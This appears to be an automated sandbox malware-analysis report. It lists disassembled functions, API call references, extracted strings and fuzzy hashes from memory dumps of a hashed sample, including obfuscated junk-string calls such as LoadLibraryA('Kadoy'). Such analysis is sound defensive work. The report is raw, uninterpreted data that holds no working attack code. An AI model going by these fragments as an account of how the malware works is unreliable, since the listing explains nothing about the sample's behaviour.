Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Function 0219971C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722225199.0000000002198000.00000040.00000020.00020000.00000000.sdmp, Offset: 02198000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2198000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: cdd5970351125762abc9520c3681fc9084d6877c4228061847a0ac09be3e0c53
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: E331677984A2859FCF19CF70D8D1AB5BB70EF87224F1999ECC0858B106D326A04ACB95

Function 022370E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Function 02237393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: d1b1125c8ba90ee5dd8f0367129819627857d735f6278fdc388566a75c8f9c45
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: AF3114B15283459FD742EF69C480A4BF7E1FFC8658F01D919F9889B225D730E984CA62

Function 022518D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: a4b4dc9d2196ce10c1c8831b6a04a81a7749eeecbd1a711c15088d241e4fdb17
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 30113B7B2600A343D73886ADD4F47B6E395EBC612872CC37AD85A4B65CD332D165D500

Function 0223B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: d29b05625e2a4d7618ef0f5bb5ebf19fb33ef2851f009cf5d1a0f808928a7aa6
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: 83114F4A8492C4BDCF424A7840E56EBFFA58E3B218F4A71DAC8C44B743D01B150FE7A1

Function 021980A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722225199.0000000002198000.00000040.00000020.00020000.00000000.sdmp, Offset: 02198000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2198000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: fd1404faaa164536177beeabcf515fc229798288056073eef14f6a6d290ce618
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 741165723801019FDB54DF55DCC1FA673EAEB89360B1A8165ED08CB316D775E842CB60

Function 02230042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 724b121eec20ad3041b81be4cf9ab8894c133d9e666aeb72d9dc7d6c45937ba3
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: D81182B23501009FD754DFA5DCD0FA673EAEB88320B198155ED08CB315D675E901C760

Function 0223A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: cf4369fe0f19be6bc080c59c3456698bda55190a3be6c004af1a7829a6daa1b9
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 85012CB68106629BD701DF3EC8C045AFBF1BB082117528B3ADC9083A41D334E562DBE4

Function 004025D4 Relevance: 40.5, APIs: 4, Strings: 19, Instructions: 289COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402D7F
MoveFileExW.KERNEL32(00000000,00000000,00000000), ref: 00402D88
GetConsoleAliasesA.KERNEL32(?,00000000,00000000), ref: 00402DE1
InterlockedPushEntrySList.KERNEL32(00000000,00000000), ref: 00402DE9

Strings

&::k, xrefs: 00402CB5
, xrefs: 00402637
,:hA, xrefs: 00402BDE
sDFZ, xrefs: 00402777
i\w, xrefs: 00402911
7!"K, xrefs: 004027F6
XjdB, xrefs: 00402C6E
z$Z?, xrefs: 00402A06
Efz, xrefs: 00402A10
bOon, xrefs: 0040285B
'{], xrefs: 0040295B
#Dv, xrefs: 004027B3
npCy, xrefs: 00402947
<kr, xrefs: 00402C8D
4{k, xrefs: 00402CBF
cl!, xrefs: 00402B65
|F4*, xrefs: 00402847
bcs%, xrefs: 00402CD3
7?t, xrefs: 00402B4A

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: Console$AliasesEntryFileInterlockedListMovePushWrite
String ID: $#Dv$&::k$'{]$,:hA$4{k$7!"K$7?t$<kr$Efz$XjdB$bOon$bcs%$cl!$i\w$npCy$sDFZ$z$Z?$|F4*
API String ID: 892834681-541864601
Opcode ID: 7b19eef48c07dfeddd0a551835fb7142238a3bbb43a2919a33123039969a78f5
Instruction ID: 89175127002563a0911d39ff8330fedd57e7f57a3274bf6e3d3fab6b0b21b49d
Opcode Fuzzy Hash: 7b19eef48c07dfeddd0a551835fb7142238a3bbb43a2919a33123039969a78f5
Instruction Fuzzy Hash: 3212CBB0C02269DFCB60DF56DA897CDBBB0BB45304F6082DAD0497B214CB755A86CF99

Function 00402E31 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 59filelibrarymemoryCOMMON

Download Yara Rule

APIs

WriteProfileSectionA.KERNEL32(00000000,00000000), ref: 00402E64
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00402E6B
WriteConsoleW.KERNEL32(00000000,?,00000000,?,00000000), ref: 00402E7F
MoveFileA.KERNEL32(luzevule,jilolabewihaxuvunoxuyabojahowunuyexedeca), ref: 00402E8F
LoadLibraryA.KERNEL32(Kadoy), ref: 00402E9A
SetConsoleTextAttribute.KERNEL32(00000000,00000000), ref: 00402EA2
ReadConsoleW.KERNEL32(00000000,?,00000000,?,00000000), ref: 00402EB6
AllocConsole.KERNEL32 ref: 00402EBC
GetConsoleTitleW.KERNEL32(00000000,00000000), ref: 00402EC4

Strings

Kadoy, xrefs: 00402E95
luzevule, xrefs: 00402E8A
jilolabewihaxuvunoxuyabojahowunuyexedeca, xrefs: 00402E85

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: Console$Write$AllocAttributeEnvironmentFileFreeLibraryLoadMoveProfileReadSectionStringsTextTitle
String ID: Kadoy$jilolabewihaxuvunoxuyabojahowunuyexedeca$luzevule
API String ID: 3192818302-453939543
Opcode ID: 336da3136ca9443fb1c4f76457267299d0abcae7330dffddaae442d2951c8d0a
Instruction ID: f516519eb345341dc9d35ae91df4d921d82ab00cf3f93f99512e1f6aae51b4fa
Opcode Fuzzy Hash: 336da3136ca9443fb1c4f76457267299d0abcae7330dffddaae442d2951c8d0a
Instruction Fuzzy Hash: D9115A76541124BBD3116BA4EE4CDEF7B6CEF4A3027000032F642E15A0CA784A85CBFD

Function 004039B9 Relevance: 19.7, APIs: 13, Instructions: 181COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004039CF

Part of subcall function 00405452: __FF_MSGBANNER.LIBCMT ref: 00405475
Part of subcall function 00405452: __NMSG_WRITE.LIBCMT ref: 0040547C
Part of subcall function 00405452: HeapAlloc.KERNEL32(00000000,?,00000001,00000000,00000000,?,00407825,?,00000001,?,?,00404473,00000018,004B2328,0000000C,00404504), ref: 004054C9

Part of subcall function 00403F24: __getptd_noexit.LIBCMT ref: 00403F24

GetLastError.KERNEL32(004B22C0,00000010,00402F80,00000000,00000000), ref: 00403B34
GetLastError.KERNEL32 ref: 00403BC1

Memory Dump Source

Source File: 00000000.00000002.1721781695.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1721766921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721781695.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721879182.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721895547.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721921404.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721942664.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1721959542.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Similarity

API ID: ErrorLast$AllocHeap__getptd_noexit_malloc
String ID:
API String ID: 2418675476-0
Opcode ID: b31e2fa0889eb4b74b492400af4ac78e794e240c65500ca83b72eb0f6d51788b
Instruction ID: 39ea36f0422541a81c6d74afcb4d299d5bde2f69d5e529bbd99fd9f73ab00289
Opcode Fuzzy Hash: b31e2fa0889eb4b74b492400af4ac78e794e240c65500ca83b72eb0f6d51788b
Instruction Fuzzy Hash: 5551D471E00A14ABCB217F769C04A6F7E7CDF8036AB10413BF854762D2D63C5E418A9D

Function 02256437 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0225644E

Part of subcall function 02259636: __calloc_impl.LIBCMT ref: 02259645

__calloc_crt.LIBCMT ref: 02256472
_free.LIBCMT ref: 02256480
__calloc_crt.LIBCMT ref: 0225648E
_free.LIBCMT ref: 0225649E
_free.LIBCMT ref: 022564A4
__copytlocinfo_nolock.LIBCMT ref: 022564B3
__setmbcp_nolock.LIBCMT ref: 022564D4
_free.LIBCMT ref: 022564E2
___removelocaleref.LIBCMT ref: 022564E9
___freetlocinfo.LIBCMT ref: 022564F0
_free.LIBCMT ref: 022564F6

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 25790a7977ede88272a57e704731bc47d5bc405687dfbe85b4c25106b1e011c1
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 31219F35134771AAE7317FE5D805E2B7BEADF41760BA0C029EC49550ACEB328960CE91

Function 02253F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02253F51

Part of subcall function 02255BA8: __getptd_noexit.LIBCMT ref: 02255BA8

__gmtime64_s.LIBCMT ref: 02253FEA
__gmtime64_s.LIBCMT ref: 02254020
__gmtime64_s.LIBCMT ref: 0225403D
__allrem.LIBCMT ref: 02254093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022540AF
__allrem.LIBCMT ref: 022540C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022540E4
__allrem.LIBCMT ref: 022540FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02254119
__invoke_watson.LIBCMT ref: 0225418A

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 814692f06624a1ad1155d859876ebc06eee1a40dfbfbd8a01aeda6d2f92bb356
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: FC71CE72A20727ABD714EEF9CC41B6AB3B5BF10364F14C165ED14D6694E770D980CB90

Function 0225650E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__invoke_watson.LIBCMT ref: 02256547
__calloc_crt.LIBCMT ref: 02256598
__lock.LIBCMT ref: 022565AE
__copytlocinfo_nolock.LIBCMT ref: 022565BF
_wcscmp.LIBCMT ref: 022565F9
__lock.LIBCMT ref: 02256610
__updatetlocinfoEx_nolock.LIBCMT ref: 02256622
___removelocaleref.LIBCMT ref: 02256628
__updatetlocinfoEx_nolock.LIBCMT ref: 02256647

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 3b8ff45f270b0a2daa355efd1bf6791405a89bff1f33c60a3586cd813fb8a706
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 13412432920325EFDB10AFE4D840BAE7BFAAF04324F50C42DED1456198CB799584DF51

Function 022584AB Relevance: 16.6, APIs: 11, Instructions: 92COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 022584B1
_free.LIBCMT ref: 022584E2
_free.LIBCMT ref: 022584F5
_free.LIBCMT ref: 02258513
_free.LIBCMT ref: 02258525
_free.LIBCMT ref: 02258536
_free.LIBCMT ref: 02258541
_free.LIBCMT ref: 02258565
_free.LIBCMT ref: 02258581
_free.LIBCMT ref: 02258597
_free.LIBCMT ref: 022585BF

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 6eaa5a7cfbb61b83915a2a22d9c7f68fc08472d25186fa528371280da1ac1146
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: D831D135910371EBDB21AF94FC8095977A6FB14334315C62AEE08572A8CBF059C9AF92

Function 0227FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0227FC1F

Part of subcall function 0226169C: std::exception::_Copy_str.LIBCMT ref: 022616B5

__CxxThrowException@8.LIBCMT ref: 0227FC34
std::exception::exception.LIBCMT ref: 0227FC4D
__CxxThrowException@8.LIBCMT ref: 0227FC62
std::regex_error::regex_error.LIBCPMT ref: 0227FC74

Part of subcall function 0227F914: std::exception::exception.LIBCMT ref: 0227F92E

__CxxThrowException@8.LIBCMT ref: 0227FC82
std::exception::exception.LIBCMT ref: 0227FC9B
__CxxThrowException@8.LIBCMT ref: 0227FCB0

Strings

leM, xrefs: 0227FCA8

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 03bfddb943f90b9568e11bbb4932e08b51cf76f511314d289763fff2e4c0e2a7
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 30111C79C0030DBBCF04FFE5D459CEDBB7DAA04340B508566AD1897244EB74A3988F94

Function 0223F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0223F01F

Part of subcall function 02251602: __FF_MSGBANNER.LIBCMT ref: 02251619
Part of subcall function 02251602: __NMSG_WRITE.LIBCMT ref: 02251620

_malloc.LIBCMT ref: 0223F02B
_wprintf.LIBCMT ref: 0223F03E
_free.LIBCMT ref: 0223F044
_free.LIBCMT ref: 0223F065
_malloc.LIBCMT ref: 0223F06D
_sprintf.LIBCMT ref: 0223F0C0
_wprintf.LIBCMT ref: 0223F0D2
_wprintf.LIBCMT ref: 0223F0DC
_free.LIBCMT ref: 0223F0E5

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 0a5368b189060816aa5de5eaaf0aae83e35cf49c823aa83d005aacfa3277b1cf
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: E3113AB69207707AC26262F91C11FFF3BDD9F45711F040169FE8CE1184DA385A1497B1

Function 02241960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022419C6
__CxxThrowException@8.LIBCMT ref: 022419F1
__CxxThrowException@8.LIBCMT ref: 02241A1A
__CxxThrowException@8.LIBCMT ref: 02241A4B
_memset.LIBCMT ref: 02241A6A
__CxxThrowException@8.LIBCMT ref: 02241A90
_malloc.LIBCMT ref: 02241AA0
_memset.LIBCMT ref: 02241AAB
_sprintf.LIBCMT ref: 02241ACE

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 2c10fc2236181a231923708a1e3be375810fb4f736066c2e94e18a9b43bd0662
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: BD517D71D40219ABEB11DBE1DC85FEFBBB9FF04704F100025F909B6294EB746A118BA5

Function 0223F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0223F284
__CxxThrowException@8.LIBCMT ref: 0223F2AF
__CxxThrowException@8.LIBCMT ref: 0223F2DE
__CxxThrowException@8.LIBCMT ref: 0223F30F
_memset.LIBCMT ref: 0223F32E
__CxxThrowException@8.LIBCMT ref: 0223F354
_sprintf.LIBCMT ref: 0223F373

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: d13dbb241e13fc976d0fb73ec078e24dbcd2cac6488ff1d9a1d7537de60f7c41
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 8E51AFB1D50249EAEF11DFE1DD46FEEBB79FB04704F204025F905B6184E7B4AA058BA4

Function 0223F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0223F4B7
__CxxThrowException@8.LIBCMT ref: 0223F4E2
__CxxThrowException@8.LIBCMT ref: 0223F504
__CxxThrowException@8.LIBCMT ref: 0223F535
_memset.LIBCMT ref: 0223F554
__CxxThrowException@8.LIBCMT ref: 0223F57A
_sprintf.LIBCMT ref: 0223F594

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 67efcb6a86c8f0ebcbd69a0ef8903d8d7886842a72e2b85c074cb1fd59af618f
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: E05173B2D50209AADF21DFE1DD45FEEBBB9FB04704F200129F905B6184E77469058BA4

Function 0227208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022720C6
__invoke_watson.LIBCMT ref: 02272120
_strlen.LIBCMT ref: 022720D4

Part of subcall function 02255BA8: __getptd_noexit.LIBCMT ref: 02255BA8

_strnlen.LIBCMT ref: 0227215F
__lock.LIBCMT ref: 02272170
__getenv_helper_nolock.LIBCMT ref: 0227217B

Memory Dump Source

Source File: 00000000.00000002.1722296268.0000000002230000.00000040.00001000.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2230000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
